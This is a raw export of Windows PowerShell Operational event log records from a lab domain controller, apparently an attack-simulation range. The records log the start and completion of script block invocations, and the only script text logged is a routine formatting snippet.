SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477768
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477766
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477765
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477764
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477763
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Path:
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477762
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477761
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477760
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477759
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477758
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477756
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477754
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477752
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477751
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477750
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477749
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477748
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477746
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477743
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477741
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477740
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477737
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477735
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477734
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477731
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477729
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477728
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477725
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477723
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477722
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477721
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477720
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477718
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477717
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477716
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477714
Keywords=None
